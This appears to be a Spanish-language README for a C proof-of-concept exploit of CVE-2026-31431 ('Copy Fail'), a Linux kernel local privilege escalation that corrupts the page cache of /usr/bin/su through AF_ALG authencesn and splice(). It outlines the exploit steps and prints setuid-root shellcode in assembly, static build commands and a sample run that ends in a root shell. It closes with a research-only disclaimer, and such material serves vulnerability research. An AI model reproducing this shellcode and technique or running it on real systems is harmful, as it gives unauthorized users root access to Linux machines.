
CVE-2026-31431 (Copy Fail) PoC - Corrupción de la caché de páginas del kernel de Linux mediante authencesn AF_ALG + splice()
Exploit de escalada de privilegios local para CVE-2026-31431 (Copy Fail), escrito en C.
/usr/bin/su a un desplazamiento de archivo mediante los encabezados de programa PT_LOADauthesn(hmac(sha256),cbc(aes)) con una clave cerosendmsg() envía AAD con los bytes del shellcode como seqno_lo (bytes 4-7), con MSG_MOREsplice() entrega 32 bytes de las páginas de la caché de páginas del archivo objetivo como etiqueta de autenticación AEADrecv() activa el descifrado; la escritura temporal de authesn aterriza en las páginas de la caché de páginas encadenadas, escribiendo 4 bytes controlados.execl("/usr/bin/su") carga la caché de páginas corrupta. El shellcode de 40 bytes (setuid(0) + execve("/bin/sh")) se ejecuta como setuid-rootxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; terminador nulo
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; nombre de archivo
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
Requiere musl-gcc o cualquier compilador de C con soporte de enlace estático:
musl-gcc -static -O2 -s -o copyfail exploit.c
Alternativamente con GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entrada @ desplazamiento de archivo 0x78
[*] Parcheando caché de páginas (40 bytes, 10 escrituras)
..........
[+] Ejecutando /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
Esta prueba de concepto se proporciona únicamente con fines de investigación de seguridad autorizada y educativos. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal.